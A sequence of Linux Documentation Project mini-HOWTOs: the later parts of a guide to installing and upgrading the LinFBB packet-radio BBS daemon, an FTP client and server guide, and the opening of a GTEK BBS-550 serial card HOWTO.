  • Now it is the right time to install fbbsrv.rpm package. The archive was composed to make its own directories, as "base" directories. The last new version to start with, that I have managed to find as a .rpm package, was 7.01f Release 4 (09. December 1999).

  • A file called fbb.conf, serving as the replacement for init.srv, is placed in the location: /etc/ax25/fbb.conf

  • Unless you are going to install daemon-only system, you should make a backup of the following existing files:

          dirmes.sys
      etat.sys
      heard.bin
      inf.sys
      statis.dat
      tpstat.sys

  • Now you have to edit /etc/ax25/fbb.conf and change some paths in case you already have X11 LinFBB installed on a different path. Here you have some examples that cover my particular situation...

  • Directory of data files, instead of /var/ax25/fbb, should be /mnt/win/fbb/system

  • Directory of config files, instead of /etc/ax25/fbb, should be /mnt/win/fbb/system

  • Directory of message files, instead of /var/ax25/fbb/mail, should be /mnt/win/fbb/mail

  • Directory of compressed files, instead of /var/ax25/fbb/binmail, should be /mnt/win/fbb/binmail

  • Directory of users, instead of .../home/fbbdos/..., should be .../mnt/win/fbb/users... (case you don't mind that both your WinFBB and LinFBB users handle the same location for users' files)

  • Directory of YAPP files, instead of /home/fbbdos/yapp, should be /mnt/win/fbb/users/yapp (the same reason as above)

  • Directory of documentation files, instead of /var/ax25/fbb/docs, should be /mnt/win/fbb/docs

  • Directory of pg programs, instead of /usr/local/pg, should be /mnt/win/fbb/pg

  • Path and filename for import file, instead of C:\FBB\MAIL.IN should be /mnt/win/fbb/mail.in

  • Now you have to edit /usr/sbin/xfbb.sh and change some paths in case you already have running X11 version of LinFBB on a different path. Here you have an example that cover my particular situation...

  • Base directory of XFBB software, instead of /var/ax25/fbb, should be /mnt/win/fbb

  • So far - so good. Now it is the time to start LinFBB daemon. The command for that is in the location: /usr/sbin/xfbb.sh and it may be executed within an xterm. If everything is OK, you should get several system messages on your screen, ending with something like:

          xfbbC/X server running ...
      xfbbd ready and running ...

  • Well, daemon itself can't be used to access the BBS so it is needed to activate a client that is /usr/sbin/xfbbC. It has a couple of parameters (a callsign/password pairs that are stored in /fbb/passwd.sys). Note that xfbbC can also be activated within another xterm.

  • If you are like me, you would like to activate one more xterm with xfbbC in a way to monitor your radio frequency. If you have enough room on your screen, you may place all three xterm windows side by side.

  • When you finish your xfbbC console session, it is suitable to use the same xterm to eventually stop the daemon. First of all, with the command ps ax you should locate PIDs of xfbb.sh shell and daemon itself, that you may kill after that.


FBB Packet-radio BBS mini-HOWTO: How to install an "upgrade" to daemon version of LinFBB

 Next Previous Contents

6. How to install an "upgrade" to daemon version of LinFBB

6.1 LinFBB v7.02g

Notice: Well, the main trouble I have discovered with 7.01f daemon was the absence of Protus c_filter protection. As I told you before, Protus is a "third-party" product, so it might have some problems with the compatibility to LinFBB itself. Anyway, it is also possible that a daemon version of LinFBB has some special requirements over some "third-party" software.

  • I also noticed that my version of Protus was newer than the version of daemon LinFBB I had at first. Beside that, some hams, as well as F6FBB himself, have suggested me to upgrade LinFBB. I have also found a "problem" that I am still new in compiling Linux software, so, I'd rather look for pre-compiled packages to install easily.

  • Jose, HI8GN, has offered daemon LinFBB v7.02g as a .rpm package (18 September 2000). I got it from his site: http://hi8gn.dynip.com/indice.html. But, when I tried to install it over the previous version 7.01f, it complained about some existing LinFBB files.

  • Then I had to uninstall the old package, after what some config files remained in their locations, but with new .rpmsave extensions. It was nice, so I could use them later to update my new-installed config files.

  • Btw, the installation of Jose's package was performed without problems, but the new daemon was not likely to run as I expected, although I tried to configure it as best as I could. Not quite sure, but it looked to me that F6FBB is likely to implement some changes not only to the main executables but to shell files too. So, I have decided to save copies of these new xfbbd and xfbbC executables from 7.02g package (I have made it with adding extensions like .702 to the files). After that, I *uninstalled* the rest of that 7.02 .rpm, in order to install the previous version of LinFBB once again - the version that I was satisfied with.

  • So far - so good. The "old" 7.01f version was installed again and tested one more time to be sure it was ok. Then, I just copied the previously saved executables from the new package, over the "old" executables. In a couple of minutes, the new daemon LinFBB v7.02g has come in place and function. Comments...?

  • Well, the new daemon is likely to check for some more directories than the older version (mostly regarding 7plus operations). Next, its xfbbC console client looks better than the previous version. But, I still miss xfbbX client, that I have found not functional. I hope it will be fixed soon. Finally, Protus c_filter utility is active too.

  • An interesting question might be: is that now a really upgraded LinFBB daemon or not? Actually, I haven't changed the "old" script xfbbd.sh with the new one, because during the first tests with the new 7.02 I was getting lots of error messages. Looks that the directory structure was a bit complicated for me to set properly within the new version of xfbbd.sh. After I returned to xfbbd.sh from 7.01 package, the BBS finally started to be run, though without some functions like over-night maintaining (that one problem I solve in a way to boot the BBS as WinFBB under Windows NT where that task is ok). In addition, there are still some mysterious messages telling that m_filter has not been found or something like that. The next tasks are to solve these issues.

6.2 LinFBB v7.03

Notice: As I have said in the previous section, I haven't found an easy way to upgrade FBB's (its main executables), without temporary uninstalling an older version, then to install the new version - in order to get new executables. After that is done, a reverse procedure must be put in place.

  • Well, it was needed to get 7.03 package (09 December 2000) as an .rpm package from www.f6fbb.org/versions.html, that was suggested by Jean-Paul, F6FBB. Anyway, soon after there appeared several mirror sites, offering 7.03 too.

  • If you use GnomeRPM, it is easy to uninstall your actual LinFBB (If you just try to install new .rpm over the existing LinFBB you will get some error messages complaining that you already have FBB installed on the computer). Anyway, after the uninstallation, there you will find some config files as .rpmsave files, so you could use them later again.

  • Installation of 7.03 package will give you new executables in /usr/sbin directory. Those new executables should be temporary given extensions like .703 (for example).

  • So far - so good. Now you should *uninstall* the 7.03 package (of course, .703 files won't be unistalled automatically).

  • Once again, you should *install* the last one version of LinFBB daemon, that works ok with its own xfbb.sh (in my case, that is 7.01f).

  • For sure, many of you might find it odd, but now it is the right time for the executables from /usr/sbin (I mean of all fbb executables, except those who were renamed to .703) to get their new extensions (in my case, that is .701).

  • Well, after that is performed, .703 files should *lose* their previously attached extensions, in order to become usable.

  • Folks, on that point I usually hold my breath, cd to /usr/sbin and type: xfbb.sh following with an Enter. If everything is fine, several lines should scroll on the screen, ending with something like:

          xfbbC/X server running ...
      xfbbd ready and running ...

  • If you don't get something similar on your xterm 'window' (or on other appropriate terminal utility), you're out of luck, so you might go thru the procedure once again in order to be sure you did all what was needed to be done :->

  • /usr/sbin/xfbbC is the easiest way to check if your new 7.03 is in the game or not. When I mention xfbbC it is good to let you know, that I kept living in a belief that xfbbC is also useful for regular telnet users (who are also supposed to 'connect' to the BBS via the same computer's console, where LinFBB is running from). But, I have discovered that my users, who were not declared as sysops, are allowed to read all messages (including all private messages), as well as to have some other sysop's abilities. I did think it was a matter of probably wrong declared security flags. But, it was not.

  • Recently, I was informed that xfbbC is suitable only for sysops, but other users (who also might have local keyboard access) should rather try:

          telnet localhost 6300

  • ... where 'localhost' and '6300' may vary from system to system. I was pleasently surprised when discovered that telnet is much more useful for regular users than xfbbC.

  • Folks, I think of making a section about the FBB's system configuration. Until something like that appear on the net, you should know that all of those callsigns who are going to use xfbbC have to be added into your passwd.sys file. And, all of those who are going to telnet into the BBS have to be declared as users with a 'M' flag (modem users). It is up to your security precautions, if either of them will have 'root' abilities to the Linux box.

  • My next issue is to use an old 286/12 MHz box, having 1 MB of RAM and running DOS 5.0 as a 'telnet client' computer. That box also has a NIC and I would like to 'connect' to the BBS computer from that 'telnet client' box. Due to my preparation for starting another LinFBB in the local school club, where I should have several old 286 boxes, would be nice to offer more than one kid to 'connect' the BBS simultanously, using a bunch of 'telnet client' computers.

6.3 LinFBB v7.04

Notice: Maybe I have already told you that I use Red Hat 6.2 at home. That's why I usualy look for .rpm packages that have been made for that Linux distribution. And not only that. I have also tried Red Hat 7.1 but it seemed not to support Xwindows LinFBB 7.00g (04 August 1998). When I saw that, I switched back to Red Hat 6.2.

  • Well, xfbb-7.04-2.i386.rpm (07 August 2001) have been downloaded from www.f6fbb.org/versions.html

  • Folks, this time I decided to install v7.04 as a completely "fresh" installation, i.e. without parts of a previous daemon on the disk. It means that I have uninstalled previous daemon version of LinFBB and, in addition, removed all older executables (of course, before the uninstalation, I made the backup of some config files that are not version depending (like /etc/fbb.conf), in order not to edit usual "defaults" again and again :-)

  • The setup procedure has reported some dependency issues. I didn't want to get bored with them so I did install the package once again with "--force" and "--nodeps" options.

  • So far - so good. Then I replaced a couple of default files with the saved ones, then mounted WinFBB's FAT partition, made a pray and started LinFBB's daemon. In order to accomplish that, it was a new experience to try HI8GN's script /usr/sbin/fbb start within an xterm to start the thing. Although there was no usual

          xfbbC/X server running ...
      xfbbd ready and running ...

    on the screen, TNC's PTT lamp showed that a beacon was transmitted.

  • Then I wanted to use HI8GN's /usr/sbin/monitor to see what's going on on the frequency. Although I got something like

          Connecting localhost ... Ok
      Authentication in progress ... Ok
      Monitoring channel 0 ...

    there wasn't any traffic on the screen. In order to really monitor the channel, I had to start another xterm and type:

          telnet localhost 6300

    and from FBB's prompt enter the gateway, type the "M" command you are familiar with etc. But, interestingly, as soon as I telnet'ed to the BBS, /usr/sbin/monitor window, mentioned above, started to copy whatever was going on the telnet xterm (until that telnet session was closed). I wondered if that was ok or not because I expected to see the traffic passing thru the channel - regardless being connected to the system or not. Any suggestion here?

  • Well, then I wanted to use /usr/sbin/bbs in order to connect to the client_console (xfbbC). Looks that there was a line in HI8GN's script:

          xfbbC -c -f -h localhost -i [callsign] -w [password]

    with missing ./ (dot+slash) before xfbbC, so the script was not likely to be executed, but reported that a command couldn't be found. Anyway, xfbbC V3.01 itself seemed to work Ok. It *is* possible to monitor the channel from here too (using the "M" command under the gateway), but this is also a bad solution because while "Monitor ON", it is not confortable to do anything else. Solutions welcomed!

  • Though xfbbC session can be easily terminated with "B" ("bye") command, a fooled /usr/sbin/monitor can not. Its process have to be found with ps ax and then killed.

  • At the end of the game, daemon itself should be stopped. HI8GN's script /usr/sbin/fbb stop returns:

          Shutting down xfbbd:          [OK]

    but /usr/sbin/fbb status reports:

          Checking, the FBB daemon
      xfbbd (pid) is running...

    Looks that /usr/sbin/fbb stop does not terminate daemon *every* time the command is executed, but re-start it (the only difference is the new PID of the process and ps ax also shows this new PID). So, there is a question why it returns that [OK] when it is obvious that daemon is not stopped, but re-started.

  • Well, if you are like me, you may also want to experiment with sysop's commands under xfbbC session. For example, "/R" command (Reboot PC) shuts down xfbbC and /usr/sbin/fbb status reports:

          Checking, the FBB daemon
      xfbbd dead but subsys locked

    while "/A" command (Stop BBS) does the same but returns:

          Stop-request accepted, no connection.

    before shutting down xfbbC itself.

    Further tries to re-start either xfbbC or fbbd (using /usr/sbin/fbb start) are not successful, unless /usr/sbin/fbb stop is executed in addition:

          Shutting down xfbbd:          [FAILED]

    Then /usr/sbin/fbb status reports:

          Checking, the FBB daemon
      xfbbd is stopped

    so, daemon might be re-started again. Here it is also mysterious why it returns that [FAILED] when it is obvious that daemon is really stopped.

    There are some other commands: "/K" (Reboot BBS with housekeeping), "/M" (Reboot BBS imediatelly) and "/L" (Reboot BBS, waiting users to disconnect) - all of them with slightly different behaviour. Anyway, those three have something in common: they re-start daemon (with different PIDs, of course).

  • Finally, what I would like to have is to manage housekeeping and other maintaining tasks. 'Till now, that is not accomplished. I suppose that I should make some more customization of system paths. Any suggestion is welcomed.


FBB Packet-radio BBS mini-HOWTO: Further information

 Next Previous Contents

7. Further information

7.1 Copyright

Copyright (c) 2001 by Miroslav "Misko" Skoric, YT7MPB.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available from http://www.fsf.org/licenses/fdl.html.

7.2 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

7.3 News

This is not the first release of this mini-HOWTO. I hope to improve it whenever possible. Beside that, there are other documents that may help you to use amateur radio stuff on your computer. You may look for AX.25 (mini-)HOWTO at the same location where you get FBB mini-HOWTO.

This mini-HOWTO would be improved from time to time. If you think that the HOWTO on your Linux installation CD is some out-of-date, you may check for newest release on the Internet. It could be found within the main Linux Documentation Project homepage.

7.4 Credits

This version of mini-HOWTO can thanks to:

Jean-Paul Roubelat, F6FBB, the author of FBB.
Per Olsen, LA6CU, the author of FBB documentation.
Jesus R., EB5AGF, the author of Protus.
Jose Marte, HI8GN, the packager of 7.02g package.

Any comments or suggestions can be mailed to my email address: m.skoric@eunet.yu.

7.5 HOWTO

These are intended as the primary starting points to get the background information as well as show you how to solve a specific problem. Some relevant HOWTOs are Bootdisk, Installation, SCSI and UMSDOS. The main site for these is the LDP archive at Metalab (formerly known as Sunsite).

7.6 Mini-HOWTO

These are the smaller free text relatives to the HOWTOs. Some relevant mini-HOWTOs are Backup-With-MSDOS, Diskless, LILO, Large Disk, Linux+DOS+Win95+OS2, Linux+OS2+DOS, Linux+Win95, Linux+WindowsNT, Linux+NT-Loader, NFS-Root, Win95+Win+Linux, ZIP Drive, FBB packet-radio BBS. You can find these at the same place as the HOWTOs, usually in a sub directory called mini. Note that these are scheduled to be converted into SGML and become proper HOWTOs in the near future.

7.7 Local Resources

In most distributions of Linux there is a document directory installed, have a look in the /usr/doc directory. where most packages store their main documentation and README files etc. Also you will here find the HOWTO archive ( /usr/doc/HOWTO) of ready formatted HOWTOs and also the mini-HOWTO archive ( /usr/doc/HOWTO/mini) of plain text documents.

Many of the configuration files mentioned earlier can be found in the /etc directory. In particular you will want to work with the /etc/fstab file that sets up the mounting of partitions and possibly also /etc/mdtab file that is used for the md system to set up RAID.

The kernel source in /usr/src/linux is, of course, the ultimate documentation. In other words, use the source, Luke. It should also be pointed out that the kernel comes not only with source code which is even commented (well, partially at least) but also an informative documentation directory. If you are about to ask any questions about the kernel you should read this first, it will save you and many others a lot of time and possibly embarrassment.

Also have a look in your system log file ( /var/log/messages) to see what is going on and in particular how the booting went if too much scrolled off your screen. Using tail -f /var/log/messages in a separate window or screen will give you a continuous update of what is going on in your system.

You can also take advantage of the /proc file system that is a window into the inner workings of your system. Use cat rather than more to view the files as they are reported as being zero length. Reports are that less works well here.

7.8 Web Pages

There is a huge number of informative web pages out there and by their very nature they change quickly so don't be too surprised if these links become quickly outdated.

A good starting point is of course the Linux Documentation Project home page, an information central for documentation, project pages and much, much more.

Please let me know if you have any other leads that can be of interest.


FBB Packet-radio BBS mini-HOWTO: Getting help

 Next Previous Contents

8. Getting help

In the end you might find yourself unable to solve your problems and need help from someone else. The most efficient way is either to ask someone local or in your nearest Linux user group, search the web for the nearest one.

Another possibility is to ask on Usenet News in one of the many, many newsgroups available. The problem is that these have such a high volume and noise (called low signal-to-noise ratio) that your question can easily fall through unanswered.

No matter where you ask it is important to ask well or you will not be taken seriously. Saying just my disk does not work is not going to help you and instead the noise level is increased even further and if you are lucky someone will ask you to clarify.

Instead describe your problems in some detail that will enable people to help you. The problem could lie somewhere you did not expect. Therefore you are advised to list up the following information on your system:

Hardware

  • Processor
  • DMA
  • IRQ
  • Chip set (LX, BX etc)
  • Bus (ISA, VESA, PCI etc)
  • Expansion cards used (Disk controllers, video, IO etc)

Software

  • BIOS (On motherboard and possibly SCSI host adapters)
  • LILO, if used
  • Linux kernel version as well as possible modifications and patches
  • Kernel parameters, if any
  • Software that shows the error (with version number or date)

Peripherals

  • Type of disk drives with manufacturer name, version and type
  • Other relevant peripherals connected to the same busses

Remember that booting text is logged to /var/log/messages which can answer most of the questions above. Obviously if the drives fail you might not be able to get the log saved to disk but you can at least scroll back up the screen using the SHIFT and PAGE UP keys. It may also be useful to include part of this in your request for help but do not go overboard, keep it brief as a complete log file dumped to Usenet News is more than a little annoying.


FTP mini-HOWTO

Matthew Borowski ( mkb@yahoo.com )
( http://tarp.worldserve.net/ )

v0.2, 9 January 2000

How to use ftp clients and servers

1. Preamble

  • 1.1 Contacting Me
  • 1.2 Legalities and Distribution
  • 1.3 History of this document

2. About FTP

3. Beginner's guide to using ftp

  • 3.1 Running the ftp program
  • 3.2 Logging into an FTP server
  • 3.3 File transfer types
  • 3.4 Navigating and listing directories
  • 3.5 Downloading and uploading files
  • 3.6 Running shell commands
  • 3.7 Hash marks and tick
  • 3.8 Other ftp commands

4. Console FTP clients

  • 4.1 NcFTP
  • 4.2 lukemftp
  • 4.3 lftp
  • 4.4 cftp
  • 4.5 yafc

5. X Window FTP clients

  • 5.1 gFTP
  • 5.2 WXftp
  • 5.3 LLNL XDIR and XFTP
  • 5.4 guiftp

6. FTP Servers

  • 6.1 How an FTP Server works
  • 6.2 Help with FTP Servers


FTP mini-HOWTO: Preamble

 Next Previous Contents

1. Preamble

This document was written by Matthew Borowski for the Linux Documentation Project. I have not yet finished adding everything I want to add. There will be a section with information on operating an FTP server.

1.1 Contacting Me

Please contact me if you have any additions or changes for this document. Please do not ask for technical support -- you may purchase Unix consulting and support through my company, WorldServe, or you can ask for help on newsgroups such as comp.os.linux.*. Please also keep in mind that I can only understand English and Farsi.

1.2 Legalities and Distribution

This document is Copyright 1999 by Matthew Borowski. You may freely distribute this document as long as the copyright notice remains unaltered. If you distribute this HOWTO as part of a commercial product, I would like to recieve a copy, but this is not required. If you wish to distribute a modified or translated version of this document, please contact me first for permission.

1.3 History of this document

  • 991203: FTP HOWTO first written. Still a work-in-progress.


FTP mini-HOWTO: About FTP

 Next Previous Contents

2. About FTP

FTP (File Transfer Protocol) is a client/server protocol that allows a user to transfer files to and from a remote network site. It works with TCP and is most commonly used on the Internet, although it can also be used on a LAN.

An FTP site is a computer that is running FTP server software (also known an FTP daemon, or ftpd). A public ftp site can usually be accessed by anybody by logging in as anonymous or ftp. There are many excellent public ftp sites that make repositories of free Unix software available. By learning how to use FTP, you give yourself access to an indespensible resource.

Private FTP sites require a user name or password. If you have a shell account with your ISP, you may be able to access your files via FTP (contact your system administrator to check on this).

An FTP client is the userland application that provides access to FTP servers. There are many FTP clients available. Some are graphical, and some are text-based.

FTP was first developed by the University of California, Berkeley for inclusion in 4.2BSD (Berkeley Unix). The RFC (Request for Comments) is available at ftp://nic.merit.edu/documents/rfc/rfc0959.txt.


FTP mini-HOWTO: Beginner's guide to using ftp

 Next Previous Contents

3. Beginner's guide to using ftp

A quick guide to using ftp.

The standard ftp program is the original ftp client. It comes standard with most Linux distributions. It first appeared in 4.2BSD, which was developed by the University of California, Berkeley.

3.1 Running the ftp program

It's easy to use ftp. Let's say you want to connect to the anonymous ftp site metalab.unc.edu, to download the latest Linux kernel source.

At the command line, type:

$ ftp metalab.unc.edu

The ftp program will attempt to connect to metalab.unc.edu. Another way to do this is to run ftp from the command line with no parameters, and use the open command, with the site name as an argument:

$ ftp
ftp> open metalab.unc.edu

3.2 Logging into an FTP server

When you connect to an FTP site, it will ask you for a login (pressing enter will log in as your local user name, in this case, foo: We log in as anonymous or ftp, to get to the public archive.

220 helios.oit.unc.edu FTP server (Version wu-2.6.0(2) Wed Nov 17 14:44:12
EST 1999) ready.
Name (metalab.unc.edu:foo):

Now, we enter a complete e-mail address as the password (this is what most public FTP sites request).

331 Guest login ok, send your complete e-mail address as password.
Password:

After a successful login, the following information is given to us:

Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

3.3 File transfer types

After you log in to an ftp site, ftp will print out the file transfer type. In our case, it is binary. Binary mode transfers the files, bit by bit, as they are on the FTP server. Ascii mode, however, will download the text directly. You can type ascii or binary to switch between the types.

You want to download the kernel source, so you leave the file transfer type at binary. The binary type is also what you would use for any non-text files -- such as graphic images, zip/gzip archives, executable programs, etc. If in doubt, use binary mode.

3.4 Navigating and listing directories

You do an ls to see a list of the files. The ls command on ftp servers is executed on the remote server, so the command line options that you can use with it vary from server to server. The most common options are generally available, check the manpage for ls for details.

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 33590
-r--r--r--   1 root     other    34348506 Dec 03 03:53 IAFA-LISTINGS
lrwxrwxrwx   1 root     other           7 Jul 15  1997 README -> WELCOME
-rw-r--r--   1 root     other         890 Nov 15 13:11 WELCOME
dr-xr-xr-x   2 root     other         512 Jul 15  1997 bin
dr-xr-xr-x   2 root     other         512 Jul 15  1997 dev
dr-xr-xr-x   2 root     other         512 Jul 18  1997 etc
drwxrwxrwx  11 ftp      20           4608 Nov 28 16:00 incoming
lrwxrwxrwx   1 root     other          13 Jun 04  1998 ls-lR -> IAFA-LISTINGS
dr-xr-xr-x  17 root     root          512 Jun 08 11:43 pub
dr-xr-xr-x   3 root     other         512 Jul 15  1997 unc
dr-xr-xr-x   5 root     other         512 Jul 15  1997 usr
226 Transfer complete.

If the ls command lists so many files that they scroll off the top of the screen, you can use Shift-PageUp to scroll up. This works in Linux console mode as well as in xterm or rxvt.

On public FTP archives, the downloadable resources are usually held in the /pub directory. In this example, you already know that the kernel sources are in the directory /pub/Linux/kernel, so you type the following to get into that directory:

ftp> cd pub/Linux/kernel
250-README for kernel
250-
250-What you'll find here: kernel sources and patches
250-
250-
250 CWD command successful.

The messages you see, which begin with "250", are information messages sent by the server. In this case, the ftp server is configured to automatically send you the README file when you cd into the directory.

3.5 Downloading and uploading files

Now, after doing another ls, you see that you want to cd into the v2.2 directory. You do yet another ls, and find the file you want to download. It is linux-2.2.13.tar.gz. So you type this:

ftp> get linux-2.2.13.tar.gz
local: linux-2.2.13.tar.gz remote: linux-2.2.13.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for linux-2.2.13.tar.gz (15079540
bytes).

The ftp program has started saving the remote file linux-2.2.13.tar.gz as the local file linux-2.2.13.tar.gz.

If you wanted to save it as the local file foo.tar.gz, you could have specified it like this:

ftp> get linux-2.2.13.tar.gz foo.tar.gz
local: foo.tar.gz remote: linux-2.2.13.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for linux-2.2.13.tar.gz (15079540
bytes).

If you want to download more than one file at a time, you'll have to use the mget (multiple get) command. You can use mget together with a space-delimited list of filenames you want to download, or you can use wildcards with the mget command. For example:

ftp> mget linux*

Would get all files starting with the string "linux". Normally, mget will prompt you for each file before it downloads it. You can toggle this by using the prompt command.

Now let's say you've written a piece of software, and you want to upload it to MetaLab to be included in their Linux software archive. First, you'd change to the /incoming directory (most public FTP servers have a directory, usually called incoming or uploads, where files can be uploaded), then you'd use the put command:

ftp> cd /incoming
ftp> put foo.tar.gz
local: foo.tar.gz remote: foo.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for foo.tar.gz.
226 Transfer complete.
10257 bytes sent in 0.00316 secs (3.2e+03 Kbytes/sec)

The put command works the same way as the get command, so you can use mput to upload multiple files at the same time. You can also upload a local file with a different filename on the server by specifying the remote filename and/or pathname as an argument.

What if the file foo.tar.gz is not in your current local directory when you try to upload it? You can switch local directories by using the lcd (local change directory) command:

ftp> lcd /home/foo/
Local directory now /home/foo

3.6 Running shell commands

The ftp client supports using the bang (!) to run local commands. For example, to get a listing of files in your current local directory, do this:

ftp> !ls

The way this works is that ftp calls the shell (specified in the $SHELL environment variable), and it is the shell which runs ls. Thus, you can run any command-line which works with your shell simply by prepending "!" to it (the default shell in most Linux distributions is bash, the Bourne Again SHell). Please note that !cd does not work as you would expect, this is why the lcd command exists.

3.7 Hash marks and tick

Wouldn't it be nice if you could watch the progress while you're downloading a file with ftp? You can use the hash command to print out hash marks as you download a file:

ftp> hash
Hash mark printing on (1024 bytes/hash mark).

As you can tell, ftp will print a hash mark for every 1024 bytes of data you download.

There is also a tick option.

ftp> tick
Tick counter printing on (10240 bytes/tick increment).

This will print something to this effect as you download a file:

Bytes transferred: 11680

3.8 Other ftp commands

There are many other ftp commands. If you have the permissions to do so (which you should, if you are connected to your own private shell account), you can make a directory on the remote server using the mkdir command. You can remove a file on the remote server using the delete command, or rmdir to remove a directory. You can also change file permissions using the chmod command.

For more elaborate information on using ftp, please see the online help in the ftp program (accessible by typing help with no arguments for a list of commands, or help <commandname> for specific help on a command). You can also read the Unix man page for ftp by typing man ftp at your command prompt.


FTP mini-HOWTO: Console FTP clients

 Next Previous Contents

4. Console FTP clients

The original ftp program was the original ftp client, and it is a good investment to learn it. It's the only ftp client that you can be certain is available on most systems (even Win32 comes with the ftp command, albeit an archaic, braindead version of it).

There are many other console-mode (text-only) ftp clients available. The listing here is by no means comprehensive, but includes the most popular ones. Search at FreshMeat to find more.

4.1 NcFTP

NcFTP is the all-time favorite ftp client of many Unix users. It comes bundled with most Linux distributions, and offers many advanced features such as tab completion and bookmarks. Version 2 of NcFTP had a curses based full-screen mode. This was done away with in Version 3 (now in beta).

It's not 100% compatible with the commands that standard ftp uses. For example, get and put in NcFTP act like mget and mput do in standard ftp. So if you want to save a remote file as a different local filename, you'd have to do get -z remotename localname. Thankfully, NcFTP has a nice online help system to assist you in learning the commands.

You can get the latest version of NcFTP at http://www.ncftp.com.

4.2 lukemftp

A port of the NetBSD FTP client to other systems, lukemftp derives its name from the author of most of the enhanced features, which include: command-line editing, command-line fetches of FTP and HTTP URLs (including via proxies), context-sensitive word completion, dynamic progress bar, IPv6 support, modification time preservation, paging of local and remote files, passive mode support (with fallback to active mode), SOCKS support, TIS FWTK gate-ftp server support, and transfer rate throttling.

I highly recommend lukemftp to users who don't want to change to anything drastically different from the standard ftp client, but want more advanced features.

You can get the latest version of lukemftp at ftp://ftp.netbsd.org/pub/NetBSD/misc/lukemftp/.

4.3 lftp

lftp is a sophisticated command line based FTP client. Like bash, it has job control. It uses the GNU readline library for input, so you have command line completion and editing. lftp also has bookmarks, mirroring support, and can transfer several files in parellel.

You can get the latest version of lftp at http://ftp.yars.free.net/projects/lftp/.

Debian packages are available at ftp://ftp.freshmeat.net/pub/debs/lftp/.

4.4 cftp

Comfortable FTP (cftp) is a full screen mode client. What it lacks in features, it makes up for in ease of use. You browse through the directories using the arrow keys and enter.

You should be able to get the latest version of cftp at http://ftp.giga.or.at/pub/nih/cftp/.

4.5 yafc

Yafc is a very nice ftp client, with features including directory cache, remote filename completion, aliases, colorized ls, recursive get/put/ls/rm, nohup mode transfers, tagging (queueing), multiple connections, proxy support and more. It has support for Kerberos4 authentication.

You can get the latest version of yafc from http://www.stacken.kth.se/~mhe/yafc/.

Debian packages are available at http://members.home.com/decklin/experimental/.

Redhat packages are available at http://lz.freeservers.com/linux/yafc.html.


FTP mini-HOWTO: X Window FTP clients

 Next Previous Contents

5. X Window FTP clients

There are several graphical FTP clients designed to run on the X Window system. These clients offer ease of use for users who are used to graphical environments, and sometimes offer versatile options that would be hard to implement in a text-based ftp client.

5.1 gFTP

gFTP is an FTP client for X Windows written using Gtk. The interface has some similarities to the popular WS_FTP software commonly used on a certain unstable operating system.

gFTP features simultaneous downloads, resuming of interrupted file transfers, file transfer queues, downloading of entire directories, ftp proxy support, remote directory caching, passive and non-passive file transfers, drag-n-drop support, a very nice connection manager and more.

If you are running Red Hat Linux and have the GNOME desktop installed, then you probably already have gFTP. If not, you can download gFTP from its homepage at http://gftp.seul.org/.

5.2 WXftp

WXftp is an FTP client for the X Window System designed to be used mainly on Linux workstations. It is written using the WXWindows toolkit, so it can be compiled to use either Motif or GTK+

It includes an intuitive user interface (much like WS_FTP), a session manager, on-line help, a progress bar, and more

Check out WXftp's homepage at http://www.wxftp.seul.org.

5.3 LLNL XDIR and XFTP

LLNL XFTP was one of the first graphical FTP clients for Linux. It supports FXP (file transfer between two remote hosts), and has a Motif based interface.

More information is available at http://www.llnl.gov/ia/xdir_xftp/.

5.4 guiftp

Guiftp is a simple ftp client written with the GTK+ toolkit. It's good if you don't need many features and want a simple, clean look.

Guiftp's homepage is at http://www.altern.org/ldufresne/guiftp/.


FTP mini-HOWTO: FTP Servers

 Next Previous Contents

6. FTP Servers

6.1 How an FTP Server works

A traditional FTP server is executed from inetd (the internet superserver daemon). The standard FTP port is port 21. When a user tries to log in, the FTP server uses a standard system call to check the user name and password against the entries in the system password file, or the NIS tables if you are using NIS. If the login is correct, the user is given access to the system.

Anonymous FTP works differently. The user logs in with either the anonymous or the ftp username (this can be defined in the config file). He is then given access to a directory tree that has been chroot()'ed. This ensures that the user can not gain access to directory trees he is not authorized for. The chrooted directory tree usually contains a mock filesystem, with bin/, etc/, and lib/ directories. The files for download are usually put in the pub/ directory.

The reason for a mock filesystem in an anonymous FTP tree is that the FTP daemon runs external commands for ls requests. You can also place additional programs in the bin directory, and a user can run them with the SITE command in his ftp client. For example, Red Hat's FTP includes the RPM command (for users to query RPM packages on the site).

Some FTP servers work differently. For example, some will allow user accounts to be set up independant of the system-wide password file (FTP-only accounts). Some servers (ProFTPD and NcFTPd for instance) have built-in ls commands and do not need a special directory tree within the chroot structure. Other ftp servers stray altogether from the standard ftp concept. FTP4ALL, for example, does not use system passwords at all. It uses it's own user and group file, and has features such as upload/download ratio and customizable server messages.

6.2 Help with FTP Servers

WU-FTPD

WU-FTPD is the ftp daemon included with many Linux distributions, including Red Hat and Caldera. You can learn more about WU-FTPD at http://www.wu-ftpd.org.

The WU-FTPD FAQ can be found on the web at http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html.

ProFTPD

ProFTPD is a powerful FTP server that includes Apache-style configuration, extensive support for virtual hosts, and internal ls.

A complete command reference and downloads can be found at http://www.proftpd.org


GTEK BBS-550 with Linux mini-HOWTO

by Wajihuddin Ahmed <wahmed@sdnp.org.pk>

v1.1, 20 August 1997

GTEK's BBS-550 is a 8-port serial card with 16C550 UARTS. Only one IRQ can be used for all 8 ports. It does not require any driver on Linux therefore the kernel does not have to be recompiled but the kernel should have serial support.

1. What I/O addresses to use?
2. The rc.serial file and IRQ selection
3. Setup of uugetty
4. Final checking...

1. For detailed information of configuring serial ports on Linux refer to the Serial-HOWTO. Thats where I started from.

